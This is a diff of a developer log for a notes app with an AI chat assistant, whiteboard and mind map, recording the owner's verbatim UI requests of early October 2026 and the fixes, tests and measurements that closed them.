+526. **The owner, 2026-10-04, verbatim.** "in regards to the pictures, cna the ai retrieve them and actually render the images or sketches in the ai chat bubbles??" **Fixed:** the model writes `[picture N]` / `[picture N.2]` (the prompt names the token per note) and the bubble draws a figure (`placeAnswerFigures` in capture-ask.js); fallback for a picture question or a mostly-pictures cited note; three at most; live Chat, live Ask, reopened Chat and Ask. `tests/test_answer_pictures_502.py`, `scratchpad/ui-sweeps/figures526.js` (427x320 for an 800x600 PNG, 233x174 at 390, no overflow, dark and light, no half token while streaming).
+522. **The owner, 2026-10-04, verbatim, four screenshots (the top tab bar,
+     the Notes and Library sub-tab bars, the graph's label plates).** "the
+     top bar tabs elements is stretched on app reload and login. also is
+     there a better, more modern, professional, and better ui/ux way to
+     redesign and design the tab bars and sub menu bars?? if not Id rather
+     keep them as is. also cna we make the dark background behind the graph
+     labels togglable??" Stretch not reproduced at 1440, 1920, 2560, 1.25x
+     (`tabstretch.js`: bar hugs its tabs, 4 px each side, lock and unlock).
+     Recommendation, taken: keep the top bar's pills; make the second level
+     read as second level (underline indicator, no box), one rule for icons
+     on sub-tabs (Notes has them, Library does not). **Fixed 2026-10-04**:
+     the sub-tab strips are one `.tabs-line` recipe (text, 2px accent line,
+     36px / 44 on touch, 4px gap, no icons; DESIGN.md's index), and the
+     stretch was found: the "centred in the gap" header mode drew the well
+     `flex: 1 1 auto` (630px round 503px of tabs at 1150, and on every boot
+     until the first measure); it hugs now. The graph label-plate switch is
+     525.
+
+524. **The owner, 2026-10-04, verbatim, with a screenshot ("Add to Quick
+     access": a command list, one add per open).** "it is hard to tell which
+     ones are already added and I can only add one at at time, I want it to
+     have the abillity to add or remove or rearrange multiple of them". Next
+     agent: a manager on DESIGN.md's "A list you manage" recipe: added rows
+     checked, multi-select add and remove, drag and keyboard reorder of the
+     added set, one Save.
+     **Fixed 2026-10-04**: the Add tile opens `quickAccessManage` (one list,
+     added rows checked and first, several toggled in a draft, drag and
+     Alt+Up/Down and two move buttons to order, search kept, one Done).
+514. **The owner, 2026-10-04, verbatim.** "is the graph missing any core
+     functionality and abilities that the graphs in obsidian have??" Audited
+     against Obsidian's graph view (filters, groups, display, forces, local
+     graph). Has: search filter, orphans, groups by query with colours,
+     node size, labels, curved links, gravity and spread, time-lapse play,
+     local pane and focus mode, export PNG, plus what Obsidian lacks
+     (similarity links, trace, minimap, saved views, selection dock). Missing,
+     in impact order: (1) a local-graph depth control (fixed at 1 in the
+     pane, 2 in focus; Obsidian 1 to 5) with incoming, outgoing and
+     neighbour-link switches (reverses the 2026-09-13 "Show switches left
+     out" decision on the owner's ask); (2) tags as nodes (a switch);
+     (3) unresolved links: a `[[name]]` with no note drawn as a faint node
+     that creates the note on click; (4) arrows on links (direction); (5)
+     sliders for text fade threshold (`GC_LABEL_ZOOM` is fixed at 1.4), link
+     thickness and link force; (6) attachments (images, files) as nodes.
+     Opus, after the graph-look agent lands (same files).
+518. **From the backend audit (INBOX 517), found and not fixed.** (1) Wiki
+     links only ever add: deleting `[[Name]]` from a note keeps the edge, and
+     renaming a note leaves `[[Old name]]` pointing at it with stale text.
+     Needs the link's origin stored (a column; `link_type` is the semantic
+     kind and must not carry it), then sync removes wiki-origin links whose
+     name left the text, and offers to rewrite `[[Old]]` on a rename. (2)
+     `/graph` rebuilds every node from every note's full text on each call
+     (90 ms at 2,018 notes; linear); only centrality and similarity are
+     cached. Cache the node payload by the same fingerprint. (3) The
+     fingerprint (count, max updated_at, link count) misses a link removed
+     and another added between two calls: same counts, stale centrality; add
+     max(link id) or a links version. (4) Similarity is all-pairs cosine,
+     O(n^2) memory at build (fine at 2k, 10k is 100M floats): chunk it or
+     take each note's top-k from the retrieval matrix. (5) `/graph/local`
+     takes `depth` but the UI fixes it (514 covers the control).
+
+521. **The owner, 2026-10-04, verbatim, with a screenshot (Library, Files:
+     the companion perched in empty space under the card, not on anything).**
+     "the companion perching needs fixing for many of the library tabs as
+     well as for the whiteboard and mindmap." Next Opus (companion): a perch
+     target per Library sub-tab (the card's bottom edge or the dock), and on
+     a board or map the canvas dock, never mid-air; a sweep over every tab
+     and sub-tab asserting the figure's feet sit within 4px of a surface.
+     Fixed: perch targets per Library sub-tab and on boards and maps; feet within 4 px of a painted edge on every surface in `perchall.js` (8e5b04a, e43f0fe). Left: two phone moments wrong for up to 0.9 s before the next beat.
+
+529. **The owner, 2026-10-04, verbatim, with a screenshot (Your notes, Capture,
+     Write with Atlas, Ask over a note's chips).** "the subtab menubars are
+     kinda hard to see when scrolled down on the page". Fixed: the strips are
+     sticky inside the region they lid, which the scroll-edge marker skipped;
+     they now take the blurred card surface once scrolled (Notes and Library
+     measured: `data-scrolled="1"`, card fill, blur 16 px).
+530. **The owner, 2026-10-04, verbatim, with two screenshots (Quick access).**
+     "there's an awkward gap on the right side where the hidden up/down
+     arrows are". Fixed: the move buttons float on a raised plate over the
+     row's right end while it is pointed at or focused; on touch they keep a
+     column. `quickgap.js`: 0 px between row and list edge at rest.
+
+531. **The owner, 2026-10-04, verbatim, with a screenshot.** "the attach
+     popup panel goes behind other elements like the top chat bar". Fixed:
+     the dock's backdrop filter made it a stacking context below the sticky
+     toolbar (z 2); the dock rises to z 3 while the panel is open
+     (`attachz.js`: 7 of 7 points on the panel's top band hit the panel,
+     was 2 of 7).
+
+532. **The owner, 2026-10-04, verbatim.** "make sure that images are used in
+     chat assistant message bubbles intentionally and not just to have it
+     there." Fixed: the prompt says a picture only when seeing it answers or
+     shows the point, never as decoration; without a token a figure is drawn
+     only when the question asks about a picture (the "mostly pictures"
+     fallback is gone). Guide updated.
+
+533. **The owner, 2026-10-04, verbatim, with a screenshot ("test notes"
+     answered with a large screenshot of a to-do note).** "it just puts
+     images for the sake of images". Fixed: the model is told a note has
+     pictures only when the question is about one (`librarian.PICTURE_ASK`),
+     and a `[picture N]` token is drawn only then; otherwise it is stripped.
+
+534. **The owner, 2026-10-04, verbatim, same screenshots.** "I cant scroll
+     down all the way to the bottom on the chat, it cuts the scrollbar short
+     and the only way to reach it with the jump to bottom button".
+     **Fixed 2026-10-04.** Static geometry was never the cause
+     (`chatbottom.js`, `chatgrid534.js`: 17 window sizes). A real streamed
+     turn (`chatscroll534.js` against `fake_answer_server.py` with thinking,
+     code, table, figure; samples every 100ms) found three causes: (1) a
+     scroll event lands a frame after the pin that made it, and a block
+     that grew the pane past the 40px slack in between read as the reader
+     leaving, so `data-stuck` went "0" at the next heading or code block and
+     the pane fell behind (the jump button re-sticks, so it was the only way
+     back): only a scroll UP releases now, in `followBottom` and
+     `syncChatJumpLatest`; (2) a figure of unknown size or a fold toggling
+     changed the height with no scroll event, stranding a following pane
+     320px short with no pill: a capture `load`/`toggle` listener re-pins,
+     and unloaded pictures hold an `aspect-ratio` box; (3) separate and
+     bigger: `chat_tools_stream` read the whole body of a streamed OpenAI
+     reply before yielding, so LM Studio / llama.cpp turns never streamed.
+     Tests: `tests/test_chat_scroll_534.py`, `test_streaming_laziness.py`.
+     Not verified: the owner's desktop window (WebView2, trackpad inertia).

+## INBOX resolved, 2026-10-04
+
+469. **The owner, 2026-10-03 night, verbatim.** "for the companion is it
+     possible to have the arms and legs be used a bit for various position,
+     action etc changes and transitions??" Placed: with 455 (2) and 462, the
+     companion agent. Built 2026-10-04 (avatars.js `NMB_LIMB_MOVES`, the
+     CSS's "Limbs in motion"; companionroutes.js).
+462. **The owner, 2026-10-03 night, verbatim.** "also the companion perches
+     dont handle collapsed sidebars at least in the chat tab". Placed: with
+     455 (2), the companion agent. Built 2026-10-04
+     (`nameMarkBuddyPerchShown`; companioncollapse.js).
+455. **The owner, 2026-10-03 night, verbatim, with screenshots (a note's
+     details line: category, 85%, eight hashtags, the date alone on a line
+     under them; four notes whose dates sit at different heights).** "note
+     metadata wraps now and needs a better redesign and structure. also I
+     think the note date should be consistent in where it is on the notes.
+     also I want more and better transitions between positions and moving
+     across different and the same tab(s) for the companion". Placed: (1)
+     the details line redesigned (a fixed structure that never wraps into a
+     ragged second line, tags that collapse to "+N", the date in one place
+     on every card): an Opus agent when a slot frees; (2) companion
+     transitions between perches and across tabs: an Opus agent after (1).
+     (1) built 2026-10-03 (DESIGN.md's note details line recipe, the
+     decision in UI_MODERNISATION_PLAN); (2) built 2026-10-04
+     (`nameMarkBuddyRoute`; companionroutes.js).
+
+457. **Fixed 2026-10-03 (81e7d63): one `thinkingFold`, under the head, ratchet in test_ui_recipes.py.** **The owner, 2026-10-03 night, verbatim, with a screenshot (the popup
+     agent: a Thinking fold and its open text drawn above Atlas's name and
+     avatar, the bubble's "Stargazing / Thinking..." line below).** "the
+     thinking box appears above the atlas message bubble title and avatar in
+     the popup agent. also make sure all the thinking boxes are the same
+     style and consistent". Placed: the orchestrator.
+
+470. **Found 2026-10-04 by the Clear agent, measured by the orchestrator.**
+     A toast raised while a modal `<dialog>` is open is drawn behind it and,
+     even when lifted into the top layer (`popover="manual"`, tried and
+     reverted), is inert: a modal dialog makes everything outside it inert,
+     so a toast's Undo cannot be pressed. Quick note and the agent overlay
+     put their Undo on their own status line instead. Recommendation
+     (order 3, taken): `toast()` and `toastAction()` host the note inside
+     the open modal dialog (a `.toast-host` placed by the dialog head
+     recipe) while one is open, otherwise the page's box. **Fixed**:
+     `toastHost()` (status.js) for `toast`, `toastProgress` and
+     `toastAction`; a toast over an open dialog is drawn in it and its Undo
+     is pressed (measured at 1440 and 390; it could not be before).
+463. **The owner, 2026-10-03 night, verbatim, with a screenshot (the
+     whiteboard's Library panel: note rows "The Complete Social Skills Guide
+     This g...").** "there is no hover state for the library whiteboard panel
+     items, also I think the user should be able to customise the
+     assistant/ai chat message bubbles across all chat interfaces to be
+     either atlas or the animated app logo". **(1) fixed**: rows lift under the
+     pointer (both themes), two lines cut at a word by the stylesheet (were
+     40 characters cut mid-word), never squeezed by the list. **(2)
+     fixed**: Settings, Appearance, Atlas and faces, "Assistant avatar: Atlas
+     or App emblem" (default Atlas), read through `assistantAvatar`
+     (chat-agent.js) by Chat's and the popup agent's reply heads and the
+     Guide and agent head marks; open heads repaint on change; the emblem
+     is the logo's p5 sketch drawn once and copied (assistant-avatar.js,
+     lazy), still under Reduce motion. Ask's answer and the writing room
+     have no avatar head, so there was nothing to switch.
+459. **The owner, 2026-10-03 night, verbatim, with a screenshot (Settings,
+     Personas: the jump strip "Answer style, Dashboard greeting, Add your
+     own, Share").** "some of the horizontal navigation bars at the top of
+     the settings pages skip multiple sections as they are too close, like
+     in the personas, it only goes on the first or last one. also can you
+     add some cheap css animations to things like the horizontal pill
+     selectors and sidebars etc like using anchor for smooth tab
+     transitions etc?? stuff like that to make it feel truly professional
+     and smooth but dont over do it in a vibecoded way. did you use all the
+     ui/ux and devibecoding skills??" Placed: (1) the jump strip marks the
+     section clicked and, scrolling, the last one whose head passed the
+     line (or the one at the end when the page can scroll no further): **fixed**,
+     the clicked head stays marked until a wheel, touch or key scroll
+     (Personas at 1280x560: each of the four marks itself; it was the first
+     or last); (2) a restrained motion pass (the selected pill and tab
+     indicator slide between options, sidebars ease, reduced motion
+     honoured, every duration and curve a token, no new decoration):
+     **fixed**, one CSS-anchored indicator per strip glides 200ms between
+     options (every `.seg`, the top tabs, the Notes and Library sub-tabs,
+     the Settings nav), a sidebar's contents leave toward and arrive from
+     its rail, focus mode's side panels enter from their edge, a page fades
+     in on a tab switch; all instant under reduced motion (DESIGN.md
+     "Motion" row; `glide.js`, `sidemotion.js`).
+
+## INBOX resolved, 2026-10-04
+
+458. **The owner, 2026-10-03 night, verbatim, with screenshots (the popup
+     agent's copy and retry buttons over "Found in 5 notes"; the sources
+     fold, "Opened 6 items" and the run facts; a Thinking fold above Atlas's
+     name and a "Finished 1 step" fold under it; two note cards whose
+     preview is "..." alone under the title, and the same note open in
+     full).** "I cant scroll up while the popup agent is responding, the
+     bottom popup buttons on the agent bubble clash with the text. the
+     source metadata needs improving ui/ux wise, there needs to be better
+     spacing and positioning around and for the thinking and skills
+     dropdowns in the assistant bubbles with the title and avatar. also note
+     characters preview counts are severely shortened again." **Preview
+     fixed**: every blank line after a title goes, and a clamped card runs
+     its paragraphs together, so its two lines are text (was one line and a
+     lone "...", or "..." alone). The bubble parts with 457 (thinking
+     under the name, one thinking fold style, skills/steps fold spacing,
+     scroll-up while streaming, action row clash, sources redesign): an
+     Opus agent. Bubble parts built 2026-10-03 (81e7d63, measured in the
+     commit; `scratchpad/ui-sweeps/bubbleparts.js`); the preview half stays
+     with the orchestrator.

+
+## Moved from the plans, 2026-10-04 (the whiteboard and mind map tails)
+
+The owner: "can you improve, extend, expand, optimise, and add to the mindmap,
+whiteboard ... at all??" The ranked list is `scratchpad/wbmap-tails.md`;
+four of the five tails the brief named were already built and are measured
+there (`sketchparity.js` 10/10, `wbcontextphone.js` 6/6, `wbhandlezoom.js`
+17/17, `wbinbox12.js` 6/6 once its probe read all four arrange groups).
+
+### From MINDMAP_PLAN.md: an Enter typed ahead ends the new topic's name
+
+Tab, a name and Enter typed at speed saved two empty topics: the Enter reached
+the map's own Enter (add a sibling) before the first topic's editor had
+opened, about 130ms at the median, and the sibling's create started a fresh,
+empty typeahead. `wbMapCatchTypeahead` holds that Enter as `commit` and
+`wbMapEditNode` blurs the editor on the typed text when it opens.
+`wbkeywalk.js` 8/10 on the base, 10/10 after;
+`test_an_enter_typed_ahead_ends_the_name_rather_than_adding_a_sibling`.
+
+### From WHITEBOARD_PLAN.md decision 12: a closed shape holds text
+
+`label` in a rectangle's, ellipse's, diamond's or triangle's own data blob,
+drawn as `<text class="sketch-label">` in the shape's group
+(`wbPaintShapeLabel`, `wbLayoutShapeLabel`): centred in the shape's label
+area, word-wrapped by `getComputedTextLength`, translated on a move frame
+(`wbNudgeShapeLabel`, cached per bulk-move entry) and re-laid on a resize or
+turn frame. Typed through `.wb-shape-label-editor` in the card layer with the
+board's one in-place text recipe (`wbBeginTextEdit`), by double-click, Enter
+on a selected shape, or the right-click menu's Add text. One undo step. The
+export paints the label's ink, size and face as attributes. Recipe row in
+DESIGN.md and its lint, `test_board_text_is_made_editable_in_one_place`.
+Measured, `scratchpad/ui-sweeps/wbshapetext.js`: 17/17 in light and in dark
+(text centred within 0.0 to 0.5px, the same mid-drag, a long label 3 lines in
+a 220px box and 5 in the 130px it was squeezed to mid-resize, white on a
+`#1d3557` fill, 17.07:1 light and 14.01:1 dark unfilled); on the base script
+it fails at its first check.
+
+### From MINDMAP_PLAN.md decision 15 (§12.2 item 4's first slice): a topic can be a task
+
+`data.task` (`open` or `done`), validated by `WhiteboardObjectData`, in
+`MAP_STYLE_FIELDS` so the tree and both XML exports carry it (`_task`), in
+`MAP_CONTENT_FIELDS` and `WB_MAP_CONTENT_KEYS` so neither reset clears it and
+a copied branch keeps it. Markdown writes `- [ ]` / `- [x]` and
+`_parse_markdown_outline` reads them back. On the canvas: a checkbox button
+before the label (`.wb-map-task`, `role="checkbox"`), a done label struck
+through, and every ancestor's "done/total" (`.wb-map-progress`), counted in
+one walk per render (`wbMapTaskTally`) and part of `wbObjectPaintKey`, since
+ticking a child changes a parent whose own data did not. Picture exports carry
+the box as a ballot-box glyph. Five API tests in `tests/test_mindmap.py`;
+`scratchpad/ui-sweeps/maptasks.js` 15/15 in light and dark (0/2 to 1/2 to 2/2,
+the press moves nothing and opens no editor, undo goes back, the count 5.91:1
+muted and 7.12:1 complete in light, 9.58:1 complete in dark); the base script
+stops at its first check.
+
+### From MINDMAP_PLAN.md §13c's remainder: a connect drag says what it will make
+
+`wbMapJoinPlan` is the decision `wbMapJoinByLink` used to make inline (join
+the tree, and under which topic, or a cross-link), pulled out so the drop and
+a new in-flight cue (`wbMapLinkCue`, called from `dragging`) cannot disagree.
+The topic under the pointer wears the accent ring when the release will join
+the tree and a dashed muted ring when it will be a cross-link, the preview
+line is dashed for a cross-link, and `#wb-announcer` says it in words ("Release
+to put "Loose idea" under "Branch A"."). Cleared on release, on Escape and off
+every topic. Found with it and fixed: the topic menu's "Connect this topic to
+another" called `selectWbTool`, which lives inside `initWhiteboard`, so the row
+threw a ReferenceError and did nothing; it goes through `wbSelectToolRef` now,
+and `test_nothing_outside_the_boards_setup_calls_its_private_tool_picker`
+holds it. `scratchpad/ui-sweeps/maplinkcue.js` 12/12 (the menu row 0/1 before
+the fix; the cue's classes did not exist on the base); `maptwokinds.js` 18/18
+unchanged.
+
+### From WHITEBOARD_PLAN.md decision 13: a connector holds a label
+
+`label` in a board link's data, one line, drawn as `<text class="wb-link-label">`
+in the link's group at the middle of its shaft (`wbLinkMidpoint`: the first
+subpath of the drawn `d`, before any arrowhead, measured on one hidden path so
+a bent line's middle is on the curve). Laid out again wherever the line moves:
+a card at either end dragged (`wbUpdateLinkedSketches`, the label found once
+per gesture), an end handle or the bend handle dragged, a render. Typed through
+the editor decision 12 built, now `wbOpenSketchLabelEditor` and shared, by
+Enter on the selected connector or the right-click menu's "Add a label"; the
+double-click still bends. A map cross-link is left to the map's ring. The
+export writes the ink and the card-coloured halo as attributes. Measured,
+`scratchpad/ui-sweeps/wblinklabel.js` 12/12 in light and dark (the label within
+0.5px of the shaft's middle at rest, mid-drag of an end and on a curve 92 units
+off the chord; 17.07:1 light, 14.01:1 dark); on the base script it fails from
+its first check.
+
+### From MINDMAP_PLAN.md §13f's remainder (decision 16): the board's menus on a map
+
+The Insert and Arrange markup a map's top bar carries is the board's own (20
+controls, all live on a board; a map's own View rows are hidden on a board the
+same way), so it stays. Found while measuring it: `wbSyncMapChrome` found each
+wrap from its menu, and a menu open on a board has been moved to `<body>` by
+`escapeAndCapMenu`, so a map opened without a click elsewhere drew both
+toggles. Found from `[aria-controls]` now, and the open menu is closed,
+restored home and uncapped. `scratchpad/ui-sweeps/maptopbar.js` 8/8 at
+1280x520, 4/8 on the base.
+
+### From MINDMAP_PLAN.md §12.2 item 7 (decision 17): numbered branches
+
+`numbered` in the board's settings blob (`_board_numbered`,
+`_store_board_numbered`), set by `PUT /whiteboard/boards/{id}` and returned by
+`/tree`; one event per change. `_outline_numbers` gives every topic its place
+(a root none, its children 1, 2, its grandchildren 1.1), iterative and
+seen-guarded; Markdown writes `- [ ] 1.2 Text` and `_strip_outline_numbers`
+takes the numbers off an import only when every topic's matches its place;
+OPML writes and reads `_number`. On the canvas: `.wb-map-number` before the
+label, filled by `wbMapNumbers` (one walk per index, part of
+`wbObjectPaintKey`), in `--muted` and in the label's ink on a core or filled
+topic, where the muted grey measured 4.39:1 on the blue branch's tint. The
+switch is `#wb-map-numbered` in the View menu's Map group. The picture export
+carries the number. Five API tests in `tests/test_mindmap.py`;
+`scratchpad/ui-sweeps/mapnumbers.js` 16/16 at 1440 and 390 in light and dark
+(muted 5.91:1 light and 7.96:1 dark; on a filled topic 12.72:1 and above in
+light, 7.61:1 and above in dark); the switch does not exist on the base.
+
+### From MINDMAP_PLAN.md §12.2 item 5's first half (decision 18): a note behind a topic
+
+`data.note` (`WhiteboardObjectData`, `MAX_TOPIC_NOTE_CHARS` 10,000), in
+`MAP_STYLE_FIELDS` and `MAP_CONTENT_FIELDS` on the server and
+`WB_MAP_CONTENT_KEYS` on the client. On the canvas a `.wb-map-note` mark after
+the label, its title the note's first line; `wbMapOpenNote` opens
+`.help-popover.wb-map-note-peek` through `placeHelpPopover`, a textarea whose
+keys are its own, and `wbMapCloseNote` saves on close through
+`wbMapSetNodeStyle`. The topic menu's Topic group has "Add a note…", "Open the
+note…" and "Remove the note". Markdown: `_markdown_note_lines` writes the note
+at the bullet's content column between blank lines, escaping a leading `\`,
+`-`, `*`, `+` or `#`; `_parse_markdown_outline` gathers indented non-bullet
+lines into the last topic's note, paragraphs kept. OPML and FreeMind: `_note`.
+Six API tests in `tests/test_mindmap.py` (with tasks and numbers in the same
+Markdown round trip); `scratchpad/ui-sweeps/mapnotes.js` 16/16 at 1440 and
+390, light and dark (the hint 5.91:1 light, 7.96:1 dark; the text 17.07:1 and
+14.61:1; the mark at rest 17.07:1 and 14.01:1); the menu row does not exist on
+the base.

+## OPEN.md rows closed, 2026-10-04
+
+### Carried bugs fixed, 2026-10-04 (the five from the archived agent files)
+
+Each had a failing test or a measured sweep first; one commit each.
+
+- **Recent activity: the Undo row stayed after an undo** (backend-0926).
+  `GET /events` now puts `undid` (the event ids it reversed) on a `restored`
+  row, and `activityUndoStarts` (dashboard.js) leaves an actor out of the
+  widget's Undo row once everything it did in the list is named there, so the
+  row goes instead of answering "Already undone". A change by the actor after
+  the undo brings the row back. `tests/test_activity_undo_row.py` (3 node
+  cases on the extracted function, 1 route case).
+- **The night card scrolled inside a fixed-height widget** (backend-0926). The
+  shared `.dash-body` cap (320px, scroll inside) hid the rows of an open
+  review list and their Dismiss below the fold. The card now opts out beside
+  art, capture and stats, so it grows as lists open and page ("Show more"
+  stays five rows a page); the grid re-measures its span. Measured with
+  `nightcard.js`: body 508px high with no inner scroll (was capped at 320px);
+  7 of 7 checks. `tests/test_night_card_grows.py`.
+- **`mindmapcurve.js` at 390x844 timed out on a topic's add button** (mindmap2).
+  The app was at fault, not the probe: below 820px and on touch the add and
+  link buttons are 44px, and anchored `bottom: -space-5` they reached 24px up
+  into the node and covered 998px2 of its label row from the left edge in 59px,
+  so pressing the left of a selected topic's text added a child. The row now
+  hangs wholly below the node there (07-whiteboard-misc.css).
+  `scratchpad/ui-sweeps/mapaddcover.js` (new) went from 3 of 3 failing to 3 of 3
+  passing, with a mouse and with touch at 390; `mindmapcurve.js` at 1440 is
+  14 of 14 and at 390 no longer times out (11 of 14: the three left are the
+  probe's map being wider than a phone, noted in OPEN.md);
+  `mapnarrow.js` still 3 of 3. `tests/test_map_actions_clear_of_label.py`.
+- **The privacy receipt's ledger flushed only on read and at shutdown**
+  (backend-0926). `egress.configure` (called from `create_app`) names the
+  ledger; the audit hook still does no I/O, it queues one `ledger` job on
+  `core/jobs.py`'s pool (no new thread: the `THREAD_SITES` ratchet in
+  `test_flaw_class_lints.py` caught a first version that had one), which
+  flushes `FLUSH_DELAY` (0.5s) after the first unflushed connection, so a
+  burst is one write and a kill loses at most that half second. Loopback
+  traffic queues nothing, and the job is a `QUIET_KINDS` entry so the activity
+  panel never lists it. Flush state is kept per ledger path, so the writer and a
+  caller flushing elsewhere never consume each other's difference, and a
+  failed write is carried by the next flush rather than lost.
+  `tests/test_egress_ledger_writes.py`, including a child process that is
+  sent SIGKILL after recording, with the ledger read back from disk.
+- **The archived files' `../` links were broken** (57 of them). The files moved
+  one directory deeper and kept their links; each was re-resolved against the
+  directory it came from. `tests/test_archive_links.py` (new) checks every
+  relative link in `agent-remaining/` and `archive/`, ignoring code spans.
+
+Rows that were struck or built in `agent-remaining/OPEN.md`, moved whole (standing order 10), with the ones this pass verified on the head or fixed.
+
+### Stray Atlas heads under the status bar (INBOX 429)
+
+Verified on the head, 2026-10-04: `atlasRepaint` skips `.atl-defs` (atlas.js) and the strict xfail marker is gone.
+
+**Stray Atlas heads under the status bar (INBOX 429, the owner's
+screenshot), for the Atlas agent: one line in `atlas.js`.** `atlasRepaint`
+redraws every `svg.nm-atlas`, and the hidden defs each look keeps
+(`svg.nm-atlas.atl-defs`, a child of `<body>`) is one: a change of Atlas
+look, Atlas style or Face looks replaces it with a whole 20px Atlas in the
+page's flow, bottom left, one more per change
+(`scratchpad/ui-sweeps/strayheads.js` exits 1). The fix, measured with it
+applied and then taken out again (sweep clean, the status bar's logo still
+the turning p5 canvas): `if (svg.closest("#nm-buddy") || !svg.isConnected
+|| svg.classList.contains("atl-defs")) continue;`. The strict xfail in
+`tests/test_companion_motion.py` flips when it lands; take its marker off
+in the same commit. [companion review, 2026-09-27]
+
+### DOCUMENTS_PLAN Phase 4 item 5's daily notes, and only that
+
+~~**DOCUMENTS_PLAN Phase 4 item 5's daily notes, and only that.**~~
+**Decided and built, 2026-09-20.** The decision is DOCUMENTS_PLAN section 14
+("one day, one page, and which store holds it is the writer's choice"): the
+Timeline owns the journal, its two endpoints, its streak and its calendar
+strip, and none of that is duplicated. What Documents got is the Daily
+template its own item-5 list names, titled with the ISO day so the two
+surfaces agree by spelling; what the Timeline got is a day bucket that
+accepts a note *or* a document with that title. The measurement that decided
+it: a document titled `2026-09-20` was already in the Timeline's feed and
+the bucket beside it still offered "Start today's note", so the app let a day
+be written as a document and then did not believe it.
+`scratchpad/ui-sweeps/docdaily.js`, 11 of 11: 6 templates to 7, 1 start
+offer to 0, 0 open offers to 1 ("Today's document"), the calendar glyph on
+the row. Not built, deliberately: a "Today" button in the documents dock, a
+third door onto one page. [documents-phase4.md]
+
+### Found, not fixed: scratchpad/ui-sweeps/docexports.js fails on a click timeout
+
+~~**Found, not fixed: `scratchpad/ui-sweeps/docexports.js` fails on a click
+timeout.**~~ **Fixed 2026-09-21**, and the diagnosis above was right about
+everything but the opener. The control that opens that submenu is the
+group's own trigger: `foldDocMenuGroup` (documents.js) moves the five
+download rows at load into a "Download or print" group, and
+`buildMenuGroupButton` reparents the flyout to `<body>` so it can escape the
+menu's clipping, which is why `row.closest("details")` is null and why
+opening the `<details>` off the row opened nothing. The probe now opens
+`#doc-dock-menu` by its own id and clicks the trigger, matched by its label
+rather than by position, because three groups are folded into that menu
+("Download or print", "Editor and layout", "While you write") and the
+download one is not the first. A new assertion holds that the group opened
+before the row is clicked, so this cannot rot silently again. Measured
+against a live app on the branch head: 7 of 7 pass, 0 console errors.

+### The document surface's aliases have no lint
+
+~~**The document surface's aliases have no lint.**~~ **Built 2026-10-04**
+(`tests/test_doc_long.py`, proved against a simulated drift). Was: a call site that hands the
+surface to something expecting a DOM element reads as correct and fails at
+runtime (`autoGrow` wrote `style.height` on it and every "/" command in the
+capture box threw). Next step: fail on `autoGrow(`, `mountGutterFor(`,
+`syncDocGutterMetrics(` or `watchDocGutter(` called with an identifier the
+same function received as a surface. [documents-engine.md]

+### The table cell menu is a kebabMenu with ten items and no grouping
+
+~~**The table cell menu is a `kebabMenu` with ten items and no grouping.**~~
+**Built 2026-09-20, as the change to the shared recipe this row said it was.**
+An item may carry `group`, a name, and `kebabMenu` draws a hairline wherever
+it changes; the name is not printed, because a heading over every three rows
+makes this menu seventeen rows tall. Measured: 10 items, 3 hairlines at 1px
+by 172px, 10 `menuitem` roles and 3 `separator` roles, and `wireMenuKeyboard`
+walks `[role="menuitem"]` so a hairline is never a keyboard stop. In
+DESIGN.md's recipe index with a ratchet in `tests/test_ui_recipes.py`.

+
+### Atomic ranges, the Mod+click affordance and the toolbar's own state
+
+~~**Atomic ranges, the `Mod+click` affordance and the toolbar's own
+state**~~ **All three decided 2026-09-20, DOCUMENTS_PLAN section 16,
+`scratchpad/ui-sweeps/doctoolbarstate.js` 21 of 21.**
+**The toolbar's state is built**: `renderDocToolbarState` resolves one
+syntax node at the caret and walks its ancestors, so the cost is the depth
+of the markdown and not the length of the document. Measured at eleven
+stops: h1, nothing, bold, italic, code, h2, ul, task, ol, quote, link, each
+with nothing else lit; 17 of the strip's 41 `data-md` buttons carry
+`aria-pressed` and the other 24 are the ones that always insert something
+new. **Atomic ranges: decided against, and the measurement contradicts the
+note that asked for them.** The caret visits offsets 29 to 36 in order
+across `**a bold run**`, moving 10, 5, 9, 8, 11, 5 and 12 pixels: no
+two-character jump anywhere. What does reproduce is different and bigger:
+the reveal is per *line*, so entering that line moves the rest of it by
+41px (x=779 to x=820). Atomic ranges would not touch that and would take
+away the marker you can put the caret between, which Phase 2 built on
+purpose. **If the shift is reported, the fix is a narrower reveal, not
+atomic ranges.** **`Mod+click`: the note is out of date**; a chip carries
+`cursor: pointer` and `title="Ctrl+click to open <url>"`, which names the
+chord and the destination. Left unbuilt on purpose. [documents-engine.md]

+### Outline rows are 24 to 25.2px, under the app's own 28px floor
+
+~~**Outline rows are 24 to 25.2px, under the app's own 28px floor.**~~
+**Already density-aware, measured 2026-10-04**: compact 24 to 25.2px
+(WCAG 2.2 AA's own floor, kept on purpose), comfortable and spacious 28px.
+The text below is the old report. Was:
+`frontend/css/05-sidebars-themes.css`, `.outline-link`
+(`padding: 0.15rem 0.25rem` plus a 0.85rem line) against DESIGN.md's
+`--target-min: 1.75rem`. Left deliberately: 24px is WCAG 2.2 AA's own floor
+and raising it costs three headings of visible outline. Next step: a
+density-aware rule (compact keeps 24, comfortable and spacious take 28) or a
+touch layout for the sidebar, which is UI Phase 9's territory.

+
+### clampToolbarMenu's comment says the trigger cannot be reproduced here, and that is now out of date
+
+~~**`clampToolbarMenu`'s comment says the trigger cannot be reproduced
+here, and that is now out of date.**~~ **Corrected 2026-09-20**, with the
+measurement in the comment itself: with `data-bg-art="on"` the card reports
+`backdrop-filter: blur(14px) saturate(1.5) brightness(1.02)` and a
+`position: fixed` child written to `left: 0; top: 0` inside `.card.doc-main`
+lands at x=293 against the card's own x=292, so the card is its containing
+block and the trap is live on the real property. The `filter: saturate(1)`
+stand-in's numbers are kept beside it as the same fault measured twice.

+
+### The writing-suggestion underline is the only surface with no hover affordance
+
+~~**The writing-suggestion underline is the only surface with no hover
+affordance.**~~ **Built 2026-09-20.** A tint in the kind's own colour, 12%
+mixed against the page rather than stated as an alpha, so it composes on
+either theme's ground and follows `[data-contrast="on"]`'s redefinition of
+`--error`, `--accent` and `--muted` with no branch of its own. A tint and
+not a thicker line, because the three kinds are told apart by the *shape* of
+their underline and thickening one moves it towards another's. Measured as a
+painted colour under a real pointer, `scratchpad/ui-sweeps/findinghover.js`:
+`rgba(0, 0, 0, 0)` at rest in both themes, `srgb 0.725 0.110 0.110 / 0.12`
+hovered in light and `srgb 0.973 0.443 0.443 / 0.12` in dark, which is each
+theme's own `--error`. [prose-intelligence.md]
+
+### docFindingAtPoint walks every mark on every pointer event
+
+~~**`docFindingAtPoint` walks every mark on every pointer event**~~
